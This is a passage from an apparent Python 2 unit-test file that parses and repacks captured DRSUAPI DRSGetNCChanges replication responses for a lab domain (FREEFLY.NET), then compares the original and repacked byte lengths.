00\x00\x00\xbb\xd9xM\x8c\xa3lI\xb5\xd3a\xde\x92\xcb\xaa\x0c\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x02\x00\x00\x00\x01\x00\x02\x00\x01\x00\x00\x00\xb0\x00\x02\x00\x92\x00\t\x00\x01\x00\x00\x00\xb8\x00\x02\x00\x01\x00\x00\x00\x04\x00\x00\x00\xb4\x00\x02\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00\xbc\x00\x02\x00\x18\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x04\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
getNCChangesResponse = '\x06\x00\x00\x00\x06\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x02\x00\xab\xab\xab\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x02\x00\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x02\x00\x03\x00\x00\x00\x08\x00\x00\x00\x14\x00\x02\x00\x04\x00\x00\x00\x08\x00\x00\x00\x18\x00\x02\x00\x05\x00\x00\x00\x08\x00\x00\x00\x1c\x00\x02\x00\x06\x00\x00\x00\x08\x00\x00\x00 \x00\x02\x00\x07\x00\x00\x00\x08\x00\x00\x00$\x00\x02\x00\x08\x00\x00\x00\x02\x00\x00\x00(\x00\x02\x00\t\x00\x00\x00\x08\x00\x00\x00,\x00\x02\x00\n\x00\x00\x00\x08\x00\x00\x000\x00\x02\x00\x13\x00\x00\x00\x08\x00\x00\x004\x00\x02\x00\x14\x00\x00\x00\x08\x00\x00\x008\x00\x02\x00\x15\x00\x00\x00\t\x00\x00\x00<\x00\x02\x00\x16\x00\x00\x00\t\x00\x00\x00@\x00\x02\x00\x17\x00\x00\x00\n\x00\x00\x00D\x00\x02\x00\x18\x00\x00\x00\x02\x00\x00\x00H\x00\x02\x00\x19\x00\x00\x00\x02\x00\x00\x00L\x00\x02\x00\x1a\x00\x00\x00\x02\x00\x00\x00P\x00\x02\x00\x0b\x00\x00\x00\n\x00\x00\x00T\x00\x02\x00\x0c\x00\x00\x00\t\x00\x00\x00X\x00\x02\x00\r\x00\x00\x00\n\x00\x00\x00\\\x00\x02\x00\x0e\x00\x00\x00\t\x00\x00\x00`\x00\x02\x00\x0f\x00\x00\x00\n\x00\x00\x00d\x00\x02\x00\x10\x00\x00\x00\t\x00\x00\x00h\x00\x02\x00\x11\x00\x00\x00\t\x00\x00\x00l\x00\x02\x00\x12\x00\x00\x00\n\x00\x00\x00p\x00\x02\x00\x1b\x00\x00\x00\t\x00\x00\x00t\x00\x02\x00\x1c\x00\x00\x00\t\x00\x00\x00x\x00\x02\x00\x1d\x00\x00\x00\x08\x00\x00\x00|\x00\x02\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x80\x00\x02\x00\x1f\x00\x00\x00\t\x00\x00\x00\x84\x00\x02\x00 \x00\x00\x00\t\x00\x00\x00\x88\x00\x02\x00!\x00\x00\x00\n\x00\x00\x00\x8c\x00\x02\x00"\x00\x00\x00\n\x00\x00\x00\x90\x00\x02\x00#\x00\x00\x00\n\x00\x00\x00\x94\x00\x02\x00$\x00\x00\x00\n\x00\x00\x00\x98\x00\x02\x00%\x00\x00\x00\x06\x00\x00\x00\x9c\x00\x02\x00&\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x02\x00\x02\x00\x00\x00U\x04\xca\xca\x02\x00\x00\x00U\x06\xca\xca\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x02\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x03\x08\x00\x00\x00`\x86H\x01e\x02\x02\x01\x08\x00\x00\x00`\x86H\x01e\x02\x02\x03\x08\x00\x00\x00`\x86H\x01e\x02\x01\x05\x08\x00\x00\x00`\x86H\x01e\x02\x01\x04\x02\x00\x00\x00U\x05\xca\xca\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\x08\x00\x00\x00\t\x92&\x89\x93\xf2,d\x08\x00\x00\x00`\x86H\x01\x86\xf8B\x03\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x01\xca\xca\xca\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x01\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\xb6X\xca\xca\x02\x00\x00\x00U\x15\xca\xca\x02\x00\x00\x00U\x12\xca\xca\x02\x00\x00\x00U\x14\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x04\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x058\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x06\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x059\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x07\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05:\xca\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05I\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x821\xca\xca\t\x00\x00\x00+\x06\x01\x04\x01\x8b:ew\xca\xca\xca\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x02\xca\xca\xca\x08\x00\x00\x00+\x06\x01\x04\x01\x81z\x01\x08\x00\x00\x00*\x86H\x86\xf7\r\x01\t\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x04\xca\xca\xca\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x17\xca\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x01\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x02\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x03\xca\xca\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x04\xca\xca\x06\x00\x00\x00+\x06\x01\x01\x01\x01\xca\xca\x06\x00\x00\x00+\x06\x01\x01\x01\x02\xab\xab\x00\x00\x00\x00\xa8\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\xac\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x02\x00\x12\x00\x00\x00\\\x00\x00\x00\x18\x00\x00\x00\xbb\xd9xM\x8c\xa3lI\xb5\xd3a\xde\x92\xcb\xaa\x0c\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x02\x00\x00\x00\x01\x00\x02\x00\x01\x00\x00\x00\xb0\x00\x02\x00\x92\x00\t\x00\x01\x00\x00\x00\xb8\x00\x02\x00\x01\x00\x00\x00\x04\x00\x00\x00\xb4\x00\x02\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00\xbc\x00\x02\x00\x18\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\x02\x00\x00\x00\xab\xab\xab\xab\x01\x00\x00\x00\xbf\xbf\xbf\xbf\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xbf\xbf\xbf\xbf\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x04\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
ncChanges = DRSGetNCChangesResponse()
ncChanges.fromString(getNCChangesResponse)
ncChanges.dump()
output = ncChanges.getData()
print repr(output)
print "ORIG: %d, REPACKED: %d" % (len(getNCChangesResponse), len(output))
print "="*80
print "ORIG"
hexdump(getNCChangesResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(getNCChangesResponse) == len(output))
def test_4(self):
#
getNCChangesResponse = '\x06\x00\x00\x00\x06\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x02\x00\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x02\x00\x03\x00\x00\x00\x08\x00\x00\x00\x14\x00\x02\x00\x04\x00\x00\x00\x08\x00\x00\x00\x18\x00\x02\x00\x05\x00\x00\x00\x08\x00\x00\x00\x1c\x00\x02\x00\x06\x00\x00\x00\x08\x00\x00\x00 \x00\x02\x00\x07\x00\x00\x00\x08\x00\x00\x00$\x00\x02\x00\x08\x00\x00\x00\x02\x00\x00\x00(\x00\x02\x00\t\x00\x00\x00\x08\x00\x00\x00,\x00\x02\x00\n\x00\x00\x00\x08\x00\x00\x000\x00\x02\x00\x13\x00\x00\x00\x08\x00\x00\x004\x00\x02\x00\x14\x00\x00\x00\x08\x00\x00\x008\x00\x02\x00\x15\x00\x00\x00\t\x00\x00\x00<\x00\x02\x00\x16\x00\x00\x00\t\x00\x00\x00@\x00\x02\x00\x17\x00\x00\x00\n\x00\x00\x00D\x00\x02\x00\x18\x00\x00\x00\x02\x00\x00\x00H\x00\x02\x00\x19\x00\x00\x00\x02\x00\x00\x00L\x00\x02\x00\x1a\x00\x00\x00\x02\x00\x00\x00P\x00\x02\x00\x0b\x00\x00\x00\n\x00\x00\x00T\x00\x02\x00\x0c\x00\x00\x00\t\x00\x00\x00X\x00\x02\x00\r\x00\x00\x00\n\x00\x00\x00\\\x00\x02\x00\x0e\x00\x00\x00\t\x00\x00\x00`\x00\x02\x00\x0f\x00\x00\x00\n\x00\x00\x00d\x00\x02\x00\x10\x00\x00\x00\t\x00\x00\x00h\x00\x02\x00\x11\x00\x00\x00\t\x00\x00\x00l\x00\x02\x00\x12\x00\x00\x00\n\x00\x00\x00p\x00\x02\x00\x1b\x00\x00\x00\t\x00\x00\x00t\x00\x02\x00\x1c\x00\x00\x00\t\x00\x00\x00x\x00\x02\x00\x1d\x00\x00\x00\x08\x00\x00\x00|\x00\x02\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x80\x00\x02\x00\x1f\x00\x00\x00\t\x00\x00\x00\x84\x00\x02\x00 \x00\x00\x00\t\x00\x00\x00\x88\x00\x02\x00!\x00\x00\x00\n\x00\x00\x00\x8c\x00\x02\x00"\x00\x00\x00\n\x00\x00\x00\x90\x00\x02\x00#\x00\x00\x00\n\x00\x00\x00\x94\x00\x02\x00$\x00\x00\x00\n\x00\x00\x00\x98\x00\x02\x00%\x00\x00\x00\x06\x00\x00\x00\x9c\x00\x02\x00&\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x02\x00\x02\x00\x00\x00U\x04\x00\x00\x02\x00\x00\x00U\x06\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x02\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x03\x08\x00\x00\x00`\x86H\x01e\x02\x02\x01\x08\x00\x00\x00`\x86H\x01e\x02\x02\x03\x08\x00\x00\x00`\x86H\x01e\x02\x01\x05\x08\x00\x00\x00`\x86H\x01e\x02\x01\x04\x02\x00\x00\x00U\x05\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\x08\x00\x00\x00\t\x92&\x89\x93\xf2,d\x08\x00\x00\x00`\x86H\x01\x86\xf8B\x03\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x01\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x01\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\xb6X\x00\x00\x02\x00\x00\x00U\x15\x00\x00\x02\x00\x00\x00U\x12\x00\x00\x02\x00\x00\x00U\x14\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x04\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x058\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x06\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x059\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x07\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05:\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05I\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x821\x00\x00\t\x00\x00\x00+\x06\x01\x04\x01\x8b:ew\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x02\x00\x00\x00\x08\x00\x00\x00+\x06\x01\x04\x01\x81z\x01\x08\x00\x00\x00*\x86H\x86\xf7\r\x01\t\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x04\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x17\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x01\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x02\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x03\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x04\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x01\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x02\x00\x00\x00\x00\x00\x00\xa8\x00\x02\x00\x01\x00\x00\x00%\x00\x00\x00\xac\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8\x01\x02\x00\x12\x00\x00\x00\\\x00\x00\x00\x18\x00\x00\x00\xbb\xd9xM\x8c\xa3lI\xb5\xd3a\xde\x92\xcb\xaa\x0c\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\xb0\x00\x02\x00\x01\x00\x02\x00\x01\x00\x00\x00\xc0\x00\x02\x00\x02\x00\x02\x00\x01\x00\x00\x00\xc8\x00\x02\x00J\x00\x02\x00\x01\x00\x00\x00\xd0\x00\x02\x00\x19\x01\x02\x00\x01\x00\x00\x00\xd8\x00\x02\x00\x01\x00\t\x00\x01\x00\x00\x00\xe0\x00\x02\x00\x1a\x00\t\x00\x01\x00\x00\x00\xe8\x00\x02\x00\'\x00\t\x00\x01\x00\x00\x00\xf0\x00\x02\x00<\x00\t\x00\x01\x00\x00\x00\xf8\x00\x02\x00=\x00\t\x00\x01\x00\x00\x00\x00\x01\x02\x00I\x00\t\x00\x01\x00\x00\x00\x08\x01\x02\x00J\x00\t\x00\x01\x00\x00\x00\x10\x01\x02\x00N\x00\t\x00\x01\x00\x00\x00\x18\x01\x02\x00O\x00\t\x00\x01\x00\x00\x00 \x01\x02\x00Q\x00\t\x00\x01\x00\x00\x00(\x01\x02\x00X\x00\t\x00\x01\x00\x00\x000\x01\x02\x00]\x00\t\x00\x01\x00\x00\x008\x01\x02\x00_\x00\t\x00\x01\x00\x00\x00@\x01\x02\x00\x92\x00\t\x00\x01\x00\x00\x00H\x01\x02\x00\x97\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x00\t\x00\x01\x00\x00\x00P\x01\x02\x00\x9e\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\x00\t\x00\x01\x00\x00\x00X\x01\x02\x00e\x01\t\x00\x01\x00\x00\x00`\x01\x02\x00p\x01\t\x00\x01\x00\x00\x00h\x01\x02\x00q\x01\t\x00\x01\x00\x00\x00p\x01\x02\x00w\x01\t\x00\x01\x00\x00\x00x\x01\x02\x00j\x02\t\x00\x0b\x00\x00\x00\x80\x01\x02\x00\x0e\x03\t\x00\x01\x00\x00\x00\xb0\x01\x02\x00d\x03\t\x00\x01\x00\x00\x00\xb8\x01\x02\x00{\x03\t\x00\x01\x00\x00\x00\xc0\x01\x02\x00O\x05\t\x00\x01\x00\x00\x00\xc8\x01\x02\x00\x83\x05\t\x00\x01\x00\x00\x00\xd0\x01\x02\x00\xb3\x05\t\x00\x01\x00\x00\x00\xd8\x01\x02\x00\xfc\x06\t\x00\x01\x00\x00\x00\xe0\x01\x02\x00\xfd\x06\t\x00\x01\x00\x00\x00\xe8\x01\x02\x00\xfe\x06\t\x00\x01\x00\x00\x00\xf0\x01\x02\x00\x03\x00\x00\x00\x04\x00\x00\x00\xb4\x00\x02\x00\x04\x00\x00\x00\xb8\x00\x02\x00\x04\x00\x00\x00\xbc\x00\x02\x00\x04\x00\x00\x00C\x00\n\x00\x04\x00\x00\x00B\x00\n\x00\x04\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x04\x00\x00\x00\xc4\x00\x02\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\xcc\x00\x02\x00\x08\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\xd4\x00\x02\x00(\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x01\x00\x00\x00\xf4\x08\x00\x00\xdc\x00\x02\x00\xf4\x08\x00\x00\x01\x00\x14\x80\xd4\x08\x00\x00\xe4\x08\x00\x00\x14\x00\x00\x00\xdc\x00\x00\x00\x04\x00\xc8\x00\x05\x00\x00\x00\x02@\x14\x00 \x00\x0c\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x02@\x18\x00\x00\x01\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x02@$\x00\x00\x01\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x01\x02\x00\x00\x07B8\x00 \x00\x00\x00\x03\x00\x00\x00\xbe;\x0e\xf3\xf0\x9f\xd1\x11\xb6\x03\x00\x00\xf8\x03g\xc1\xa5z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x07B8\x00 \x00\x00\x00\x03\x00\x00\x00\xbf;\x0e\xf3\xf0\x9f\xd1\x11\xb6\x03\x00\x00\xf8\x03g\xc1\xa5z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x04\x00\xf8\x07.\x00\x00\x00\x05\x008\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\xf2\x01\x00\x00\x00\x00\x14\x00\x10\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xab\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xac\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xaa\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xab\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xac\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00$\x00\xbd\x01\x0e\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x00\x02\x00\x00\x00\x02\x18\x00\xbd\x01\x0f\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00\x00\x02$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x07\x02\x00\x00\x00\x02\x18\x00\x04\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\xf8\x88p\x03\xe1\n\xd2\x11\xb4"\x00\xa0\xc9h\xf99\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00B/\xbaY\xa2y\xd0\x11\x90 \x00\xc0O\xc2\xd3\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00@\xc2\n\xbc\xa9y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x00B\x16L\xc0 \xd0\x11\xa7h\x00\xaa\x00n\x05)\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x10 _\xa5y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00,\x00\x10\x00\x00\x00\x01\x00\x00\x00`s@\xc7\xbf \xd0\x11\xa7h\x00\xaa\x00n\x05)\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\x9cz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x00\x00\x18\x00\x10\x00\x02\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\xf8\x88p\x03\xe1\n\xd2\x11\xb4"\x00\xa0\xc9h\xf99\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00B/\xbaY\xa2y\xd0\x11\x90 \x00\xc0O\xc2\xd3\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00@\xc2\n\xbc\xa9y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x00B\x16L\xc0 \xd0\x11\xa7h\x00\xaa\x00n\x05)\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\n<\x00\x10\x00\x00\x00\x03\x00\x00\x00\x10 _\xa5y\xd0\x11\x90 \x00\xc0O\xc2\xd4\xcf\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 